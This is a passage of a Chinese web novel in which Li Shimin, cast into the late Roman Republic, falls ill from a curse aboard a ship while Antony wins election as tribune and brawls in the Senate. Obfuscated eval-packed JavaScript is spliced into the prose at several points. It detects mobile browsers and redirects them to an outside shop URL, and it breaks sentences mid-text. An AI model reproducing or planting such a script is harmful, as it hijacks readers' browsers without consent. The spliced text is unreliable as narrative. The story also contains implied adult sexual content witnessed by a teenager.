“鹰与狼争夺的金枝…… 在七座山丘的殿堂里蒙尘…… 唯有能解读星辰坠落之人…… 才能为你打开向东的门…… 但门后并非归途…… 而是另一段旅程的开始……” 说完这些,她瘫软下去,被两名侍女扶走。 祭司将这段话记录在月桂树叶上,递给李世民:“神谕已赐予。自行解读吧,外乡人。” 走出神庙,塞恩立刻迎上来。 “完全看不懂。”塞恩皱眉,“鹰与狼?金枝?七座山丘?这说的是什么?” 沉思片刻,低声道:“‘七座山丘的殿堂’……很可能指的是罗马。罗马城建于七座山丘之上。‘鹰’是罗马军团的标志,‘狼’是罗马的建国传说。但‘金枝’……那似乎是罗马大祭司(Pontifex Maximus)传承的圣物,也是进入冥界的凭证……我不确定。” “所以,神谕指引我去罗马?”李世民看向狄奥尼修斯。 “这是最直接的解读。”狄奥尼修斯犹豫道,“但主人,罗马现在是全地中海最危险的地方。您的通缉令……” “不是现在。”李世民打断他,“但这是一条线索。先记下。” 他低头看向手中的月桂叶,那句“门后并非归途,而是另一段旅程的开始”像冰锥,刺进他的心底。 三、海燕号之夜 当初屋大维给李世民推荐过两个“和神灵沟通”的地方,一个是希腊德尔斐,一个是埃及卢克索。 在德尔斐没能得到明确的答案,李世民决定前往埃及卢克索,寻求那里的祭司的帮助。 他们登上了一艘名为“海燕号”的大型希腊商船,船身已被盐渍浸成斑驳的银灰色。船舱中堆满来自雅典的陶器、科林斯的青铜料、以及数十桶爱琴海岛屿产的橄榄油——足够压舱,也足够让任何海盗或税务官满意。? “海燕号”在黄昏时分驶离港口,向南切入开阔海域。 塞恩在狭小的舱房里安顿行囊。头等舱的条件远不及她想象:两张窄木床,一张固定在地上的小桌,一盏挂在舱壁上的铜油灯。唯一的奢侈是一扇圆形的舷窗,玻璃厚得发绿,透进来的光线像隔着一层海水。 狄奥尼修斯很识趣地去了隔壁自己的舱房,走之前甚至贴心地关严了隔门。 船舱里只剩下两个人。 李世民穿着月白的爱奥尼亚式希顿,亚麻质地,衣身宽大,衣长过膝,下摆裁成不对称的波浪弧线,走动时褶纹如水波流动,隐约勾勒出肩臂与腰背的线条。 数日未剃的胡茬在下颌和唇角投下青灰色的暗影,让那张原本过于精致俊美的面容平添了几分沉郁的锋芒。 塞恩站在他身后,正对着那扇门,像在警戒,又像在犹豫。 船舱外的走廊里传来水手换岗的脚步声,压低的对话,绳索擦过木板的沙沙声。船体随海浪轻轻摇晃,铜油灯的火焰在玻璃罩里跳舞,光影在两人脸上游移不定。 “你该多休息。”塞恩终于开口,声音比平时低,“不然你的身体怎么撑得住?” “你也一样。”李世民没有回头,目光落在舷窗外逐渐模糊的海平线上,“昨晚你在屋顶守到半夜。” 塞恩没说话。她的确守了。那夜月光太亮,亮到她能看清巷口每一个可疑的暗影,也亮到她能清晰看见,自己心底那些不该有的念头,像潮汐一样涨落。 她向前走了一步。 两步。 第三步时,她已经站在他身后,近到能闻到他身上残留的、不同于高卢山林也不同于罗马军营的气息——皮革、旧书卷、以及一种她无法命名、只属于他本人的、清冽而干净的味道。 “菲尼克斯。”她轻声唤他。 李世民转过身。 这个距离,他能看清她琥珀色眼睛里每一丝细小的纹路。高卢女人的眼睛通常像林间的溪水,清澈而直接;但塞恩的眼睛更深邃,混合了沼泽的迷雾和地中海的浪潮。 她抬手,指尖迟疑地触了触他的下颌。那些新生的胡茬扎在她指腹上,粗粝而温热。 “我在沼泽里第一眼看见你,”她说,声音轻得像在自言自语,“你满身是泥,脸色白得像病人,但你看我的眼神,就像在确认盟友,而不是打量一个女人。那一刻我就知道……” 她没有说下去。她也不需要说下去。 她吻了他。 这个吻很轻,轻得像落在水面的一片叶子。只是唇与唇的触碰,三秒,也许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那么我要做你在这个世界唯一的伴侣。”她说,“不是奴隶,不是战利品,是塞恩,沼泽之民的女人,和你并肩走过战场的战士。” 船舱里只剩下海浪拍打船壳的声音,和两人交织的呼吸。 李世民看着她。 她不是长孙氏,不会为他执掌后宫、在危机时以太子妃的身份稳定朝局。她不是任何一位秦王府侧妃,不会吟诗作画、以名门闺秀的修养为他化解文臣的疑虑。 她是一个连姓氏都没有的高卢猎手,母亲是逃奴,父亲是谁她都不知道。她能写自己的名字——还是在罗马军营里跟一个快要死的辅助兵学的。她的剑术粗糙但致命,她不懂任何兵法却能凭直觉感知战场最薄弱的一环。 但她是他来到这个世界后,第一个不问代价、不求回报、只因为“他是他”而选择追随的人。 他低下头,靠近她。 这个吻不像她刚才那样仓促。他吻得很慢,很轻,像在确认一个迟到太久的允诺。 塞恩闭上眼,睫毛在烛光中投下细碎的阴影,她的手攥紧了他胸口的衣襟,攥得像溺水的人抓住最后一根浮木。 她尝到他唇间有一丝若有若无的苦涩——是雅典医生开的安神草药残留的味道。她想,原来神灵也会生病,也会疲惫,也会在无人的深夜里被故土的记忆灼伤。 她的吻更深了些,像是在用自己的温度熨平那些看不见的伤口。 李世民的手穿过她编成细辫的棕发,掌心贴在她后颈。她的皮肤比看起来更烫,像沼泽深处那些永远不结冰的泉水。 油灯的火焰在玻璃罩里跳了一下,灯芯发出轻微的噼啪声。 就在这时—— 毫无预兆地,一阵强烈的眩晕如钝器般击中李世民的意识。 不是昏沉,不是疲倦,是某种更深、更冷的什么东西——像一根无形的冰针,直贯颅底。 他猛地推开塞恩。 动作太急太猛,她的后背撞在舱壁上,发出沉闷的声响。她惊愕地睁大眼,手还维持着攀在他胸口的姿势。 “怎么了?”她的声音变了调,“我——” 李世民没有回答。他单手撑在床沿,另一手撑在额头,浑身僵如石像。几缕黑发垂落,遮住他惨白的侧脸。 他的呼吸开始变得急促而浅,像溺水者在挣扎换气,但每一次吸气都带不出足够的氧气。胸腔里仿佛压了一块无形的巨石,每一次心跳都震得肋骨生疼。 塞恩扑到他身边,双手捧起他的脸。那张脸在她掌心里冷得像刚从冬日的沼泽里捞起,嘴唇失去血色,眉骨上渗出细密的冷汗。 “菲尼克斯!”她的声音带上了撕裂般的尖锐,“菲尼克斯——!” 他抬起眼看她。 那双曾经沉静如寒潭、锐利如出鞘剑的眼睛,此刻像被风暴搅浑的深水,焦点在涣散和凝聚的边缘挣扎。 他想说话,嘴唇翕动,却只发出一声极轻的、破碎的喘息。 “……没事。”他最终挤出这两个字,拉丁语发音含混不清,“只是……累了。” 然后他的身体软下去,倒在她怀里。 塞恩扶住他,感觉他整个人像一袋灌满沙子的皮革,沉重而冰凉。她把他放平,扯过羊毛毯盖在他身上,又脱下自己的斗篷叠成枕头垫高他的头。 她的动作很快,很稳,但手一直在抖。 狄奥尼修斯听到动静冲进来时,看到的是这样一幕: 塞恩跪在床边,握着他主人的手,指甲掐进掌心掐出血痕,却一声都没哭。 而那个在卢格杜努姆舌战罗马官僚、在沼泽拖垮三百精锐、让凯撒亲笔签署通缉令的男人,此刻紧闭着眼,眉心拧成解不开的结,呼吸像风中的残烛。 “去找医生!”塞恩嘶声,“船上一定有医生!” 狄奥尼修斯踉跄着冲出舱门。 ?? 32. 第十四章、诅咒禁令 第十四章、诅咒禁令 一、七日 “海燕号”在地中海上航行了七天。 七天的风暴。七天的寂静。七天的生死边缘。 塞恩没有离开那间舱房。 她把李世民的头枕在自己膝上,用冷浸的布巾敷他的额头。他的体温时冷时热,像被两种截然不同的力量撕扯。她试过喂他喝水,他吞咽了两口就呛咳出来,更多的水顺着嘴角流下。 她用袖子擦掉那些水,然后继续喂。 一遍。两遍。三遍。 狄奥尼修斯每天送三次水和食物。她只接水,食物几乎没动。 “您需要吃东西。”狄奥尼修斯站在门口,声音很轻,“否则他醒过来时,您先倒下了。” 塞恩没有回答。 她只是把那条布巾重新浸湿,拧干,敷在李世民滚烫的额头上。 狄奥尼修斯看着她的手。那双握着短剑时稳如磐石的手,此刻在微微发抖。 他把水和食物放在门边,退了出去。 第三天夜里,船身剧烈摇晃。塞恩把李世民抱得更紧,用自己的背脊抵住舱壁,替他承受每一次颠簸。 她低头看着他。 烛光在他脸上投下摇曳的阴影,眉骨、鼻梁、下颌的线条像一座被岁月侵蚀的石刻。他的呼吸很轻,轻到她要把掌心贴在他胸口,才能确认那微弱的起伏还在继续。 她想起沼泽里他第一次走进村落时的样子。 黑色猎装,勒紧的腰线,目光像打磨了三千年的黑曜石刃,边缘薄到透明,能把光切成两半。 那时候她想:这个人是从哪个世界掉下来的? 现在她知道了。 他是从很远很远的地方掉下来的。 远到也许永远回不去。 她把那枚沼泽硬木护符从他衣领内侧抽出来——那天她亲手缝进去的,针脚细密,像要把自己的命也缝进去。 护符贴着皮肤,被体温焐热了。 她把它放回去,按了按。 “你不许死。”她用高卢语,极轻地说,“你说过要回家。你的妻子在等你。你的儿子在等你。你没权利死在这条破船上。” 李世民没有回应。 他的呼吸仍然沉重,眉心仍然紧锁。 塞恩把额头抵在他手背上。 她从不信神。沼泽教会她,只有猎手的警觉和短剑的重量可以依靠。 但此刻她希望——她奢望——这个世界上真的存在某些高于刀剑的力量。 她闭上眼睛。 窗外,地中海的风浪呼啸而过。 --- 第七天清晨,塞恩被指间的微动惊醒。 她睁开眼,发现自己不知何时睡着了,头还枕在床边,手还握着他的掌心。 李世民睁着眼睛。 那双深褐色的眼睛正看着她。 不是病人醒来时涣散的、尚未聚焦的目光。是清醒的、沉静的、已经独自在黑暗中与某物对峙了许久的、疲惫至极的目光。 塞恩猛地坐直。她想说话,喉咙却像被砂纸打磨过,只发出一个破碎的气音。 李世民看着她。 他看起来很平静——太平静了。那种风暴过境之后,海面重新平复如镜、而海底已永远改变了地形的平静。 “你……”塞恩终于挤出声音,“你感觉怎么样?我去叫狄奥尼修斯——” “不用。” 他的声音沙哑,但清晰。 他撑着床沿,慢慢坐起身。塞恩要扶他,他轻轻避开了她的手。 不是拒绝她这个人。 是拒绝某种她还没能理解的东西。 他坐在那里,背靠着舱壁,舷窗外透进第七天的晨光,将他消瘦的侧脸镀上一层淡金色的薄晕。 他低头看着自己的手。 掌心摊开,指节分明。 很久。 塞恩不敢出声。 这双手握过玉玺,握过刀箭,签过无数政令,也杀过很多人……弹指之间决定千万人的生死荣辱。 他闭上眼。 像有什么东西在血管里倒流,像有无数根冰针从骨髓深处往上扎。不是拒绝,不是厌恶,是某种更深、更冷的禁令。 他当时以为是旧疾发作。 现在他知道不是。 那声音回来了。 隔着十个月的时间、隔着地中海的风浪、隔着几万里的距离——李元吉的声音,从那个他以为自己早已埋葬的记忆中穿透而来。 “野人的女人,也不能让他碰。” “给他找个男人,年纪老到能当他父亲。” “如果他被老男人侮辱了……” “看他还怎么在我面前耀武扬威!” 李世民猛地睁开眼。 船舱的轮廓像溺水的巨兽静静下沉。舷窗外只有海水无穷无尽地拍打。 他的手——此刻它青白、干瘦、指节分明,像一截被潮水遗忘的枯木——,慢慢攥紧。 掌心刺痛。那柄短剑留下的伤口已经结痂,但某种更深的东西正在溃烂。 难道诅咒的每一条,每一个字,都会应验? 不是“可能”。不是“也许”。 是会。 李元吉说流放到最遥远的地方——他落在了阿莱西亚,离长安距离不知道有几万里。 李元吉说流放到最野蛮的时代——罗马人把战俘钉在十字架上,税吏把人命换算成铜币和谷物,千村萧瑟,白骨露野。 李元吉说找一个老男人——他还没有见过这个人,不知道他叫什么名字、长什么模样、会在哪一天以哪种方式走进他的命运。但那道目光已经落在他身上了。 他逃不掉。 他以为离开高卢就是挣脱罗网。他以为扬帆出海就是另寻归途。他以为只要他足够强大、足够清醒、足够决绝,就能把这诅咒像残破的笼子一样踢开。 可诅咒不在外面。 诅咒在他身体里。 他是正常的男人。 三十岁(实岁二十八岁)。 血气和野心都在巅峰的年龄。 权力、财富、美人…… 他曾理所应当地拥有这一切。 而诅咒正从他体内,一条一条地,抽走这些理所应当。? 李世民撑着床沿坐起身。每移动一寸,骨节都像生锈的齿轮。 恐惧——他有生之年居然还能体会到这种情绪。是对自己的恐惧。 他不知道那条禁令的边界在哪里。是只禁止“亲近”,还是连“被靠近”都不允许?是只针对女人,还是任何人——任何人试图触碰他、爱他、接纳他——都会触发这场冰封? 他不敢试。 他不敢赌。 如果最坏的结果,他最终回不到大唐,那么在这个世界,他不能有女人,不能有子嗣,无法组建血缘亲情关系。 像一粒无法生根的种子,最终在地中海的土地或海水中死亡、腐烂,留不下一点痕迹。 二、拒绝 晨光从舷窗外透进来,像隔着一层浑浊的冰。 李世民靠在床沿,面容仍带着病后那种近乎透明的苍白。塞恩守了七天,几乎没有合眼。 她起身,把陶杯递过去——水是清晨新换的,还带着铜壶的余温。 李世民伸手接杯。 他的指尖触到她的掌心。 极轻的、几乎无法察觉的一瞬——他的手指僵住了。 不是收回。不是躲开。是僵直。像猎物的脊背擦过陷阱边缘时,全身肌肉那一下本能的、来不及思考的绷紧。 塞恩的手悬在半空。 她没有问。 她只是把杯子又往前送了半寸,让他能稳稳握住。然后她收回手,坐回矮凳,把短剑横在膝头。 “水是温的。”她说,“狄奥尼修斯去厨房讨的,说希腊人病了都喝温水。” 李世民握着杯子,没有喝。 他看着杯中水纹缓慢平息,很久,说: “你应该留在高卢。” 塞恩的手指在剑鞘上顿了一下。 “你是沼泽之民最好的猎手。”他的声音很轻,像在陈述一件早就该说清的事,“你有族人需要保护,有土地需要看守。跟着我…… 他顿了一下。 “没有归途。” 塞恩没有说话。 她只是把短剑握得更紧了些。 “这话你说过。”她终于开口,“在沼泽边缘,你说你不需要追随者。在马赛港外,你说你不会去卢格杜努姆。你两次都说错了。” 李世民没有否认。 沉默像潮水,缓慢漫过船舱。 塞恩看着他的侧脸。晨光把他消瘦的轮廓镀成淡金色,那双眼睛垂着,睫毛在下眼睑投下一片极淡的阴影。她没有见过他这个样子——不是虚弱,是某种更深的、她无法命名的疲惫。 “你怕我缠着你。”她说。不是质问,只是在确认。 “我怕耽误你。”李世民抬起头。 他看着她。那目光很静,静得像无风的沼泽深处,那些永远照不见天光的水潭。 他说:“你不应该把感情投注在一个没有归处的人身上。” 塞恩没有回避他的目光。 “那你为什么要吻我?” 她的声音很轻,但每一个字都像打磨过的剑刃。 “我们明明已经……” 她没有说下去。 李世民沉默。 舷窗外,海浪无穷无尽地拍打船壳。水手的脚步声从走廊经过,又渐渐远去。 很久,他说: “你离开沼泽太久了。” 塞恩的呼吸停了一瞬。 “该回去看看。”李世民说,声音平稳,像在安排一次例行的行军路线,“芦苇民需要他们的猎手,长老们需要你传递高卢的消息。狄奥尼修斯可以担任翻译,你不必——” “够了。” 塞恩打断他。 她没有站起来,没有提高声音,只是轻轻吐出这两个音节。像在勒住一匹即将失控的马。 李世民停住。 塞恩看着他。 那双琥珀色的眼睛里,没有泪,没有愤怒,只有一种很深的、很静的、终于落定的清醒。 她读懂了。 她早就读懂了。 只是需要他亲口说出来。 她站起身。短剑还握在手里,剑鞘上的红线——她母亲教她缠的——在晨光里褪成了旧旧的赭色。 “我是沼泽之民最好的猎手。”她说,重复他的话,“这句话,是你说的。” 李世民看着她。 “我会回去。”塞恩说,“但不是现在。” 她走到舱门口,背对着他。 “我是菲尼克斯的护卫,保护菲尼克斯是我的责任。”她的声音很轻,却像钉子楔进木板,“这件事,和我是不是女人,和你接不接受我,和我自己心里有过什么念头……” 她顿了顿。 “都没关系。” 她没有回头。 门开了,晨光涌进来,把她的侧影切成一道锋利的、不肯弯曲的剪影。 然后门关上了。 船舱里只剩下海浪声。 李世民看着那只陶杯。杯中的水已经凉透了。 三、保民官 李世民在海上病倒的时候,凯撒正在罗马撒钱。巨额的金币使罗马的政治舞台剧烈震颤。 马库斯·安东尼没有辜负凯撒的期望。他带着足以令人眩晕的财富回到罗马,没有半分败军之将的颓丧,反而以一种更粗野、更直接的方式,一头扎进了这座城市的权力泥潭。 他不住在家族祖宅,而是包下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224117|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了阿文提诺山上一座最奢华别墅,日夜宴饮。宴会上不仅有美酒珍馐,更有赤裸的舞女、角斗士表演,以及最重要的——成袋的金币和精致的礼物。 罗马的骑士阶层(富裕商人、包税人)、落魄贵族、渴望往上爬的年轻政客、还有嗓门大、人数多的平民领袖和退伍老兵代表,像闻到血腥味的鲨鱼般汇聚而来。 安东尼的口号简单粗暴:“凯撒在高卢流血流汗,为共和国带来了土地和黄金!而元老院里那些穿紫袍的老爷们在干什么?在算计怎么从他手里抢走战利品,怎么给他使绊子!他们想过我们这些为罗马打仗的人吗?想过罗马的平民吗?凯撒记着大家!这些金子,就是证明!” 他用凯撒的钱,替自己竞选保民官铺平道路,更关键的是,为凯撒在罗马织就一张庞大的利益网络。元老院里开始出现为凯撒辩护的声音,尽管还微弱,但已不再是加图和庞培的一言堂。 关于“男宠谣言”,安东尼在醉酒后当众嗤之以鼻:“要是陪凯撒睡几觉就能让高卢人服服帖帖,那元老院诸位不如都洗洗干净,去陪凯撒睡觉试试?省了军费!” 粗俗,但有效,至少在很多更看重实际利益的阶层中,这种谣言被转化成了对反对派无聊攻击的嘲讽。 金钱、美酒、直白的利益许诺,安东尼的“政治风格”虽然被西塞罗等传统派鄙夷为“野蛮人的贿赂”,却实实在在地撬动了罗马政治的基石。 一个月后,当李世民乘坐“海燕号”货船顺利到达埃及亚历山大港的时候,罗马的保民官夏季选举正式公布结果。 马库斯·安东尼以压倒性优势当选。站在演讲台上,他俯瞰着广场上欢呼的人群(其中不少是拿了钱的),心中充满复仇的快意和更大的野心。 他现在不仅是凯撒的将军,更是罗马的保民官,拥有否决权和召集平民大会的权力——这是凯撒插在元老院心脏的一把真正的匕首。 选举胜利的喧嚣还未散去,安东尼便带着凯撒新的密令,前往尤里乌斯家族的一处宅邸。 ?? 三、阿媞娅 豪宅主人阿媞娅是凯撒的侄女,以精明、忠诚和善于处理微妙家族事务而闻名。更重要的是,她是盖乌斯·屋大维和屋大维娅的母亲。? 安东尼被女奴引入内室。阿媞娅已屏退左右,她年近四十,风韵犹存,目光敏锐。 “恭喜你,马库斯。保民官的位置很适合你。”阿媞娅微笑道,递上一杯葡萄酒。 “谢谢,阿媞娅。是凯撒的金钱和信任适合我。”安东尼一饮而尽,目光毫不掩饰地在女主人曲线优美的身体上扫过。胜利和酒精让他更加肆无忌惮。“凯撒有新的指示,需要你去办。” “请说。” “庞培。”安东尼压低声音,“元老院的决议你也看到了,庞培这次是铁了心要和凯撒撕破脸。但全面开战还不是时候。凯撒需要时间稳住高卢,也需要麻痹庞培。所以,他希望你促成一项联姻——让屋大维娅嫁给庞培。” 阿媞娅端着酒杯的手顿住了。 屋大维娅,她美丽而温顺的女儿,今年刚满十八岁。而庞培,已经五十多岁,且是罗马最有权势(至少表面如此)的人物之一,正妻刚刚去世不久。 这是一桩赤裸裸的政治婚姻,将年轻的侄孙女嫁给昔日的盟友、如今的潜在最大政敌,以换取喘息之机。 “庞培会接受吗?”阿媞娅声音平静,但指尖微微发白。 “凯撒相信,只要你以家族的名义,以他本人的名义去运作,加上适当的……暗示和利益交换,庞培会考虑的。这对他也有好处,能缓和与凯撒的紧张,还能获得尤里乌斯家族的政治纽带。” 安东尼凑近了些,酒气喷在阿媞娅脸上,“你知道该怎么做,阿媞娅。为了凯撒,也为了你的儿子屋大维的前途。” 阿媞娅沉默了片刻,抬起眼,眸中已是一片冷静的决断:“我明白了。我会去拜访庞培夫人(指庞培的女眷)和其他有影响力的贵妇,也会安排合适的机会。但这需要时间和技巧。” “很好。”安东尼满意地笑了。他看着阿媞娅强自镇定的侧脸,在酒精和室内暖昧的光线下,征服欲与权力带来的膨胀感混杂在一起。 凯撒可以拥有那个遥不可及的东方凤凰,而他马库斯·安东尼,此刻就要享用眼前这位成熟而高贵的罗马尤物。 他抓住了阿媞娅的手腕,力道不大,但充满不容拒绝的意味。“公事谈完了,阿媞娅。我们是不是……该庆祝一下我的胜利?” 阿媞娅心领神会,欲拒还迎,两个人迅速搞到了一起。 就在安东尼传达凯撒指令,并顺便干屋大维母亲的时候,连接着走廊的门帘,被一只属于少年的、纤细的手,无声地撩开了一道缝隙。 十五岁的盖乌斯·屋大维站在门外。 午后的阳光从他单薄的身躯后照来,将室内那幅激烈蠕动的画面,扭曲而清晰地投射在对面的墙壁上——像两股原始欲望与精明算计相互撕扯、彼此利用的丑陋共生。 他苍白的面容上没有任何表情。那双遗传自母亲家族的浅灰色眼睛,像被投入了绝对零度的深渊,冻结了一切波澜,只反射出墙壁上那场无声而肮脏的交易。 他悄无声息地放下门帘,仿佛从未出现过。 他径直走向自己的书房,那里堆满了李维的历史和西塞罗的演说词。他需要给远在高卢的舅公凯撒,写一封措辞恭谨、汇报母亲已欣然领命、并感谢安东尼叔叔“鼎力协助”的例行家书。 笔尖划过蜡板,发出稳定而单调的沙沙声。每一个字母都工整完美,看不出丝毫颤抖。 窗外,罗马城在永恒的喧嚣中运转,权力的游戏永无休止。而在少年屋大维的眼底,一颗关于绝对理性、彻底工具化人际关系、以及对人性不抱任何温存期待的种子,正静待着在未来那波澜壮阔又冷酷无情的帝国长河中,破土而出。 33. 第十五章 亚历山大港的夏天 第十五章亚历山大港的夏天 一、罗马·元老院之拳 公元前51年7月1日,罗马元老院。 执政官马尔库斯·克劳狄乌斯·马尔凯鲁斯站在讲坛中央,将一卷羊皮纸重重拍在大理石案台上。纸卷弹起又落下,发出沉闷的、像骨节碎裂的声音。 “八年。”马尔凯鲁斯的声音如锈蚀的铁锯,切割着厅内每一寸空气,“盖乌斯·尤利乌斯·凯撒在高卢待了八年。按照《瓦提尼乌斯法》,他的总督任期应当在公元前54年结束。诸位——” 他转身,紫边托加的褶皱像愤怒的波浪。 “我们容忍了延期。第一次,第二次,第三次。他给我们什么?连年的战报,自夸的《高卢战记》,还有——一个与蛮族签署的、把共和国威严踩进泥里的所谓‘和平协议’!” 厅内响起一片低沉的应和。加图坐在前排,瘦削的脸上没有表情,但手指在座椅扶手上轻轻敲击——那是满意的节奏。 “我提案。”马尔凯鲁斯抬高声音,“立即召回高卢总督凯撒,就其‘任期严重超期’及‘擅自与行省叛军媾和’两案,启动元老院正式调查程序。他必须放下军队,以私人身份回罗马,接受共和国的质询与审判!” “附议——!” 数十只手同时举起。 庞培派系的元老们像提前排练过,连举臂的角度都近乎整齐。 庞培本人坐在第二排居中位置,身姿沉稳如山,灰白的头发梳理得一丝不苟。他没有举手,也没有说话,只是平静地看着前方,像一尊正在审判决议的雕像。 马尔凯鲁斯满意地转向主席台:“执政官阁下,请将此案排入——” “否决。” 一个声音从后排炸开,粗粝,蛮横,带着战场厮杀后残留的铁锈味。 马库斯·安东尼站起身。 他没有穿元老常服,而是披着猩红的军斗篷,铜扣在烛火下像睁开的兽眼。他大步穿过走廊,每一步都踩得大理石地板发出沉闷的回响。 “我,马库斯·安东尼,罗马平民保民官。”他在讲坛前停下,与马尔凯鲁斯相距不足三尺,身高比他高出整整一个头,“行使《瓦莱里乌斯—霍拉提乌斯法》所授予的神圣否决权。此提案,不——通——过。” 他一字一顿,像往棺材上钉钉子。 马尔凯鲁斯脸色铁青:“安东尼!你是凯撒的部将,你根本没有资格——” “我有没有资格,不是执政官阁下说了算。”安东尼咧嘴笑了,那笑容像野兽露出獠牙,“我是保民官,人身神圣不可侵犯。你碰我一根手指,全罗马平民的怒火会把你的执政官座椅烧成灰。” 他转身,面向大厅。 “诸位。”他的声音忽然变得沉痛,甚至带着一丝委屈,“诸位同僚。凯撒在高卢八年,打了多少仗?征服了多少部落?为共和国增加了多少行省、黄金、奴隶?你们坐在这里,穿着他卖命换来的钱买的托加,然后用这张嘴——” 他指向马尔凯鲁斯。 “——说他‘任期超期’?” “你放肆!”马尔凯鲁斯冲上前。 安东尼纹丝不动。他只是抬起手,轻轻掸了掸自己胸甲上并不存在的灰尘。 然后—— “砰!” 不知是谁先挥出了第一拳。有人说是马尔凯鲁斯的一个年轻副官,有人说是安东尼的护卫队长。总之,当第一块淤青出现在某个元老的眼眶上时,议事厅彻底变成了一座没有武器的角斗场。 紫边托加被撕成布条。象牙座椅翻倒在地。书记官的蜡板被踩成碎片,蜡屑粘在乱飞的唾沫里。 七十岁的元老抱着廊柱发抖,三十岁的青年贵族揪着彼此的头发在地板上打滚。 马尔库斯·西塞罗(昆图斯·西塞罗的哥哥)站在远离冲突中心的廊柱阴影里,蜡板还举在手中,却没有落笔。他看着眼前这幕野蛮的闹剧,忽然感到一种彻骨的荒诞—— 共和国曾经用演说和辩论解决分歧。现在,用拳头和血。 他缓缓放下蜡板,没有试图调停。 因为这已经不是演说能解决的。 加图没有动。他只是抬起眼皮,看了一眼庞培。 庞培依然稳坐如钟。他的目光越过厮打的人群,越过翻倒的桌椅,越过那卷无人理会的、沾满脚印的提案书。 他看向窗外。 罗马七丘在七月骄阳下泛着金色的光,像一群沉睡的巨兽。 凯撒。庞培在心里默念这个名字。你派了个好拳手。 但拳头赢不了战争。 二、凯撒的拖延战术 几天后傍晚,凯撒收到了罗马的快信。 他读完元老院辩论的记录副本,放在桌上,没有立刻处理。他走到窗前,看着索恩河在落日下蜿蜒成一条暗金色的缎带。 雷克斯站在身后,不敢出声。 很久,凯撒说: “安东尼比我想的更敢。” 从阿莱西亚战役结束,直到现在将近一年时间,面对来自罗马的压力,他从未主动挑衅,反而不断退让。 因为他没有准备好。他的主力军团分散在诺里克、西班牙休整,意大利本土只有1个军团。他需要时间调兵、需要元老院先犯错、需要让全罗马都看见“不是我要打,是他们逼我”。 他这时期写给元老院的报告、写给庞培的信极度“谦卑”——不是真谦卑,是故意写成谦卑,让对手显得傲慢。这是他的常规战术。 然后他给士兵发钱——不是为了收买,是为了让士兵拒绝执行元老院调走他们的命令。他非常擅长把“违抗元老院”包装成“尊重士兵意愿”。 他的所有政治策略都是拖——拖到他高卢总督任期结束,他能合法竞选执政官。 他在高卢八年没回罗马,一旦他卸任总督、以平民身份进城,立刻就会被政敌起诉。他必须带着军队的保护、同时拥有执政官豁免权,才能安全过渡。 因此,“缺席执政官”的权利,他必须要拿到。否则,他将不得不压上一切,绝地反击。 他回到桌前,拿起笔,字迹在烛光下显得格外清晰——永远是那种即使写军令也带着从容的、近乎优雅的笔触。 吾甥屋大维如晤: 近来听说元老院有人提议,要把我提前召回罗马。这事早在我预料之中,不必担心。安东尼已经在罗马了,你只需看着他的行事,就能明白罗马政局将有大变。 你跟阿波罗多罗斯读书已经三年了。修辞、法律、希腊文史,想必都有所长进。明年开春,可以到阿波罗尼亚去历练历练,看看军团是怎么运作的,行省事务又该如何处理。 这不是疏远你,是为了让你磨砺本事。尤利乌斯家的男儿,不能一直躲在长辈的荫蔽底下。 他笔锋顿住,犹豫了一瞬,又在信的最下面添加了一行字: 另:地中海的商路上有传闻,说东方的航船里,好像见到了故人的踪迹。若消息确凿,我会再告诉你。 勿念。 最后一行,那个“故人”用的是拉丁语“vetus amicus”——老友。 他抬起眼。 那双灰蓝色的眼睛在壁炉火光里,深得像没有月亮的夜海。 他的目光越过雷克斯的肩头,越过书房的橡木门,越过卢格杜努姆沉睡的街道与城外金色的索恩河—— 落在那片他主动放飞的、却从未真正收回来的天空上。 “地中海方向,”他忽然又说,“让我们的眼线继续跟。每月报告一次。” “是。” “如果……” 凯撒停住。 他没有说下去。 雷克斯等了很久。 最后,凯撒只说: “下去吧。” 雷克斯躬身退出门外。 书房里只剩下壁炉的炭火声,和窗外索恩河永恒的、低沉的流淌。 凯撒独自站在地图前。 他的手指落在亚历山大港的位置,轻轻敲了敲。 三、亚历山大港的罢工 公元前51年7月,埃及亚历山大港。 这座地中海最大的港口已经瘫痪了七天。 三千名码头工人拒绝上工,粮船腐烂在泊位,香料堆积如山无法装运,托勒密王朝的税收官每天对着空荡荡的账簿发愁。 罢工的原因是粮价暴涨——埃及今年的尼罗河洪水比往年低了三尺,收成减半,而罗马的征粮官照常按去年的定额征收,商人趁机囤积居奇,码头工人的孩子已经开始饿死。 港口总督的卫队镇压了三次,死了十七个人,罢工规模反而扩大了。 就在这个节骨眼上,一艘没有旗帜的商船靠岸了。 没有人看清船上下来的是什么人。 只知道从跳板上先下来四个穿着整齐的人——一个希腊人、一个叙利亚人、一个努比亚人、还有一个高卢女人。他们迅速清空码头一角,然后从船舱里抬下一顶朴素的轿辇。 轿辇被抬进一辆早已备好的马车。马车四面垂着深青色的帷幔,没有任何纹饰,低调得像任何一个东方商人的座驾。 车帘始终没有掀起过。 但码头上的人都看见了那只手。当第一个人躬身到车窗前听取指令时,一只修长、骨节分明的手从帷幔缝隙间伸出,轻轻点了两下。 那只手收回去后,四个人立刻分头行动。 希腊人去了港口总督府。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 